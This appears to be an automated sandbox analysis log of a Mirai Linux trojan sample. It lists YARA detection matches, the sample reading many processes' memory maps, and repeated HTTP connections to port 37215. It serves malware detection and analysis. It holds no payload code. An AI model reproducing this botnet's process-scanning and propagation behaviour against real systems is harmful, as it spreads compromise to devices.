Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal92.troj.linELF@0/0@48/0

Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/2672/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1583/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3120/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1577/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1610/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/512/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1299/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/514/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/519/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/2946/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/917/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3134/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1593/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3011/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3094/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/2955/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1589/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3129/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1588/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3125/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/767/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/888/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/801/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/769/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/803/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/806/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/807/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/928/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/2956/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/490/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3142/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1635/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1633/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1599/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3139/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1873/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1630/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/659/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/418/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1639/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1638/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1371/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/780/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/660/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/661/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/782/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1369/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/785/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1642/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/940/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/941/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1640/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3147/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1364/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/548/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1647/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/2991/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1383/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1382/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1381/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/791/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/671/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/794/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1655/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/795/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/674/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1653/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/797/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/2983/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3159/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/678/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1650/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3157/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/679/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1659/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3178/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1394/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3172/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3171/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/2999/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/683/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3207/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/684/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/2997/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1300/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1661/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/725/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/726/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1309/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/2517/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3189/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1560/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3188/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3187/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3184/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3183/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1712/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1557/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1314/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/3215/maps	Jump to behavior
Source: /tmp/nullnet_load.i686.elf (PID: 5517)	File opened: /proc/1399/maps	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53406 -> 37215
